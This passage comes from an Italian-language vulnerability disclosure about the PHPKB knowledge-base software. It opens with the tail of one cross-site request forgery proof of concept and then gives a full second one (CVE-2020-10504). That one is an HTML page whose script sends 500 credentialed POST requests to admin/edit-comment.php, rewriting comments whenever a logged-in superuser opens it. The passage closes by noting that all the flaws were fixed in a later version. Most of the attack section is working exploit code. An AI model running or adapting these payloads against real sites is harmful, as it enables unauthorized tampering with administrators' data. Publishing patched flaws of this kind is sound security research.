			xhr.open("GET", "[PHPKB]/admin/manage-comments.php?cid=" + i + "&action=disapprove")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			xhr.send(null);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Modifica di un commento: Cross-Site Request Forgery (CVE-2020-10504)

Exploit mirato al: Superutente

File vulnerabile: admin/edit-comments.php

I passaggi da seguire per individuare la vulnerabilità sono:

  • effettuare il login come Superutente;
  • cliccare sulla sezione “comments” e poi su “pending”;
  • selezionare il commento, cliccare su “edit” e poi su “save comment”.

Non c’è alcun tipo di protezione anti-CSRF. Ho preparato questo proof of concept:

<!DOCTYPE html5>
<html>
<!-- Cambiare il parametro name per impostare l'username della persona che effetuerà il commento -->
<!-- Cambiare il parametro email per impostare l'email dell'utente che effettuerà il commento -->
<!-- Cambiare il parametro comment per impostare il commento dell'utente -->
	<head>
		<title>Exploit CSRF!</title>
		<script>
		var i = 0;
		while (i < 500) { <!-- Il numero di commenti che verranno modificati, in questo caso impostato a 500 -->
			var xhr = new XMLHttpRequest(); 
			xhr.open("POST", "[PHPKB]/admin/edit-comment.php")
			xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
			xhr.withCredentials=true;
			var params = "name=test&email=test@test.com&comment=test&status=approved&type=&cid=" + i + "&submit=Save+Changes"
			xhr.send(params);
			i++;
		}
		</script>
	</head>
	<body>
		<center><h1>Sto inviando le richieste!</h1></center>
</html>

Considerazioni finali

Tutte le vulnerabilità segnalate sono state risolte nella versione v9 P1-202005.